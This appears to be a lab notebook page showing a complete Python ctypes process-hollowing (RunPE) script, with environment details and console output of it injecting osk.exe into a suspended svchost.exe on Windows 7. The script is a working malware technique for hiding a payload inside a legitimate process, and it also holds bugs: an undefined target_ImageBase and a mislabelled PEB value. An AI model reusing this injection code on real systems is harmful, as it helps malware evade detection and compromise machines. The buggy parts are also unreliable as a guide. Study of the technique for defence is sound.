# Dynamic forking


Environment

> systeminfo | select -first 17
Host Name: IE10WIN7
OS Name: Microsoft Windows 7 Enterprise
OS Version: 6.1.7601 Service Pack 1 Build 7601
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: IEUser
Product ID: 00392-972-8000024-85319
Original Install Date: 23/10/2013, 9:22:44
System Boot Time: 18/06/2016, 4:07:53
System Manufacturer: innotek GmbH
System Model: VirtualBox
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
x64 Family 6 Model 60 Stepping 3 GenuineIntel ~2479 Mhz

Code

> cat dynamic_forking.py
from ctypes import *
from pefile import PE
from sys import argv, exit

payload_exe = argv[1]
target_exe = argv[2]

stepcount = 1

# https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873.aspx
class PROCESS_INFORMATION(Structure):
 _fields_ = [
  ('hProcess', c_void_p), 
  ('hThread', c_void_p), 
  ('dwProcessId', c_ulong), 
  ('dwThreadId', c_ulong)]

# https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331.aspx
class STARTUPINFO(Structure):
 _fields_ = [
  ('cb', c_ulong), 
  ('lpReserved', c_char_p),    
  ('lpDesktop', c_char_p),
  ('lpTitle', c_char_p),
  ('dwX', c_ulong),
  ('dwY', c_ulong),
  ('dwXSize', c_ulong),
  ('dwYSize', c_ulong),
  ('dwXCountChars', c_ulong),
  ('dwYCountChars', c_ulong),
  ('dwFillAttribute', c_ulong),
  ('dwFlags', c_ulong),
  ('wShowWindow', c_ushort),
  ('cbReserved2', c_ushort),
  ('lpReserved2', c_ulong),    
  ('hStdInput', c_void_p),
  ('hStdOutput', c_void_p),
  ('hStdError', c_void_p)]

# https://msdn.microsoft.com/en-us/library/windows/desktop/ms681671.aspx
class FLOATING_SAVE_AREA(Structure):
 _fields_ = [
  ('ControlWord', c_ulong),
  ('StatusWord', c_ulong),
  ('TagWord', c_ulong),
  ('ErrorOffset', c_ulong),
  ('ErrorSelector', c_ulong),
  ('DataOffset', c_ulong),
  ('DataSelector', c_ulong),
  ('RegisterArea', c_ubyte * 80),
  ('Cr0NpxState', c_ulong)] 

# https://msdn.microsoft.com/en-us/library/windows/desktop/ms681670.aspx 
class CONTEXT(Structure):
 _fields_ = [
  ('ContextFlags', c_ulong),
  ('Dr0', c_ulong),
  ('Dr1', c_ulong),
  ('Dr2', c_ulong),
  ('Dr3', c_ulong),
  ('Dr6', c_ulong),
  ('Dr7', c_ulong),
  ('FloatSave', FLOATING_SAVE_AREA),
  ('SegGs', c_ulong),
  ('SegFs', c_ulong),
  ('SegEs', c_ulong),
  ('SegDs', c_ulong),
  ('Edi', c_ulong),
  ('Esi', c_ulong),
  ('Ebx', c_ulong),
  ('Edx', c_ulong),
  ('Ecx', c_ulong),
  ('Eax', c_ulong),
  ('Ebp', c_ulong),
  ('Eip', c_ulong),
  ('SegCs', c_ulong),
  ('EFlags', c_ulong),
  ('Esp', c_ulong),
  ('SegSs', c_ulong),
  ('ExtendedRegisters', c_ubyte * 512)]


def error():
 print '[!] Error: ', GetLastError()
 print '[!] Error: ' + FormatError(GetLastError())
 print '[!] Exiting'
 print '[!] The process may still be running'
 exit()

print '[' + str(stepcount) + '] Creating Suspended Process'
stepcount += 1

startupinfo = STARTUPINFO()
startupinfo.cb = sizeof(STARTUPINFO)
processinfo = PROCESS_INFORMATION()

CREATE_SUSPENDED = 0x0004

# https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425.aspx
if windll.kernel32.CreateProcessA(
  None,
  target_exe,
  None,
  None,
  False,
  CREATE_SUSPENDED,
  None,
  None,
  byref(startupinfo),
  byref(processinfo)) == 0: error()

hProcess = processinfo.hProcess
hThread = processinfo.hThread

print '\t[+] Successfully created suspended process! PID: ' + str(processinfo.dwProcessId)

print
print '[' + str(stepcount) +'] Reading Payload PE file'
stepcount += 1

f = open(payload_exe, 'rb')
payload_data = f.read()
f.close()
payload_size = len(payload_data)

print '\t[+] Payload size: ' + str(payload_size)

print
print '[' + str(stepcount) +'] Extracting the necessary info from the payload data.'
stepcount += 1

payload = PE(data = payload_data)
payload_ImageBase = payload.OPTIONAL_HEADER.ImageBase
payload_SizeOfImage = payload.OPTIONAL_HEADER.SizeOfImage
payload_SizeOfHeaders = payload.OPTIONAL_HEADER.SizeOfHeaders
payload_sections = payload.sections
payload_NumberOfSections = payload.FILE_HEADER.NumberOfSections
payload_AddressOfEntryPoint = payload.OPTIONAL_HEADER.AddressOfEntryPoint
payload.close()

MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_READWRITE = 0x4

# https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887.aspx
payload_data_pointer = windll.kernel32.VirtualAlloc(
 None,
 c_int(payload_size + 1),
 MEM_COMMIT | MEM_RESERVE,
 PAGE_READWRITE)

memmove(
 payload_data_pointer, # dst
 payload_data, # src
 payload_size)

print '\t[+] Data from the PE Header:'
print '\t\t[+] Image Base Address: ' + hex(payload_ImageBase)
print '\t\t[+] Address of EntryPoint: ' + hex(payload_AddressOfEntryPoint)
print '\t\t[+] Size of Image: ' + str(payload_SizeOfImage)
print '\t\t[+] Pointer to data: ' + hex(payload_data_pointer)

print
print '[' + str(stepcount) +'] Getting Context'
stepcount += 1

cx = CONTEXT()
cx.ContextFlags = 0x10007

# https://msdn.microsoft.com/en-us/library/windows/desktop/ms679362.aspx
if windll.kernel32.GetThreadContext(
 hThread, # src
 byref(cx) # dst
 ) == 0: error()

print
print '[' + str(stepcount) + '] Getting Image Base Address from target'
stepcount += 1

base = c_int(0)

# https://msdn.microsoft.com/en-us/library/windows/desktop/ms680553.aspx
windll.kernel32.ReadProcessMemory(
 hProcess,
 c_char_p(cx.Ebx + 8), # src
 byref(base), # dst
 sizeof(c_void_p), 
 None
 )
target_PEBaddress = base

print '\t[+] PEB address: ' + hex(target_PEBaddress.value)

if target_PEBaddress ==  payload_ImageBase:
 # https://msdn.microsoft.com/en-us/library/windows/hardware/ff567119.aspx
 if not windll.ntdll.NtUnmapViewOfSection(
  hProcess, # process
  target_ImageBase # base address
  ): error()

print
print '[' + str(stepcount) +'] Allocation memory'
stepcount += 1

MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40

# https://msdn.microsoft.com/en-us/library/windows/desktop/aa366890.aspx
address = windll.kernel32.VirtualAllocEx(
 hProcess, # process
 c_char_p(payload_ImageBase), # base pointer
 c_int(payload_SizeOfImage), # size
 MEM_COMMIT|MEM_RESERVE, # type of allocation
 PAGE_EXECUTE_READWRITE # memory protection
 )
if address == 0: error()

print '\t[+] Allocated to: ' + hex(address)

print
print '[' + str(stepcount) +'] Writing Headers'
stepcount += 1

lpNumberOfBytesWritten = c_size_t(0)

# https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674.aspx
if windll.kernel32.WriteProcessMemory(
 hProcess,
 c_char_p(payload_ImageBase), # dst
 c_char_p(payload_data_pointer), # src
 c_int(payload_SizeOfHeaders), # size
 byref(lpNumberOfBytesWritten)
 ) == 0: error()

print '\t[+] Bytes written:', lpNumberOfBytesWritten.value
print '\t[+] Pointer to data: ' + hex(payload_ImageBase)
print '\t[+] Writing to: ' + hex(payload_data_pointer)
print '\t[+] Size of data: ' + hex(payload_SizeOfHeaders)

for section in payload_sections:
 dst = payload_ImageBase + section.VirtualAddress
 src = payload_data_pointer + section.PointerToRawData
 size = section.SizeOfRawData
 print
 print '[' + str(stepcount) +'] Writing section: ' + section.Name
 stepcount += 1
 print '\t[+] Pointer to data: ' + hex(src)
 print '\t[+] Writing to: ' + hex(dst)
 print '\t[+] Size of data: ' + hex(size)
 lpNumberOfBytesWritten  = c_size_t(0)
 if windll.kernel32.WriteProcessMemory(
  hProcess,
  c_char_p(dst), # dst
  c_char_p(src), # src
  c_int(size), # size
  byref(lpNumberOfBytesWritten)
  ) == 0: error()
 print '\t[+] Bytes written:', lpNumberOfBytesWritten.value

print
print '[' + str(stepcount) +'] Editing Context'
stepcount += 1

cx.Eax = payload_ImageBase + payload_AddressOfEntryPoint

lpNumberOfBytesWritten  = c_size_t(0)
if windll.kernel32.WriteProcessMemory(
 hProcess,
 c_char_p(cx.Ebx + 8), # dst
 c_char_p(payload_data_pointer + 0x11C), # src
 c_int(4),
 byref(lpNumberOfBytesWritten)
 ) == 0: error()

print '\t[+] Pointer to data: ' + hex(cx.Ebx + 8)
print '\t[+] Writing to: ' + hex(payload_data_pointer + 0x11C)
print '\t[+] Size of data: ' + hex(4)
print '\t[+] Bytes written:', lpNumberOfBytesWritten.value

print
print '[' + str(stepcount) +'] Setting Context'
stepcount += 1

# https://msdn.microsoft.com/en-us/library/windows/desktop/ms680632.aspx
windll.kernel32.SetThreadContext(
 hThread, # dst
 byref(cx)) # src context

print
print '[' + str(stepcount) +'] Resuming Thread'
stepcount += 1

# https://msdn.microsoft.com/en-us/library/windows/desktop/ms685086.aspx
if windll.kernel32.ResumeThread(
 hThread
 ) == 0: error()

print
print '[' + str(stepcount) + '] Success'

Execution

> python dynamic_forking.py osk.exe svchost.exe
[1] Creating Suspended Process
 [+] Successfully created suspended process! PID: 308

[2] Reading Payload PE file
 [+] Payload size: 646144

[3] Extracting the necessary info from the payload data.
 [+] Data from the PE Header:
  [+] Image Base Address: 0x1000000
  [+] Address of EntryPoint: 0xc83a
  [+] Size of Image: 659456
  [+] Pointer to data: 0x2600000

[4] Getting Context

[5] Getting Image Base Address from target
 [+] PEB address: 0x8d0000

[6] Allocation memory
 [+] Allocated to: 0x1000000

[7] Writing Headers
 [+] Bytes written: 1024
 [+] Pointer to data: 0x1000000
 [+] Writing to: 0x2600000
 [+] Size of data: 0x400

[8] Writing section: .text
 [+] Pointer to data: 0x2600400
 [+] Writing to: 0x1001000
 [+] Size of data: 0x24800
 [+] Bytes written: 149504

[9] Writing section: .data
 [+] Pointer to data: 0x2624c00
 [+] Writing to: 0x1026000
 [+] Size of data: 0xc00
 [+] Bytes written: 3072

[10] Writing section: .rsrc
 [+] Pointer to data: 0x2625800
 [+] Writing to: 0x1028000
 [+] Size of data: 0x75000
 [+] Bytes written: 479232

[11] Writing section: .reloc
 [+] Pointer to data: 0x269a800
 [+] Writing to: 0x109d000
 [+] Size of data: 0x3400
 [+] Bytes written: 13312

[12] Editing Context
 [+] Pointer to data: 0x7ffdf008L
 [+] Writing to: 0x260011c
 [+] Size of data: 0x4
 [+] Bytes written: 4

[13] Setting Context

[14] Resuming Thread

[15] Success

Reference

https://raw.githubusercontent.com/joren485/HollowProcess/master/runPE.py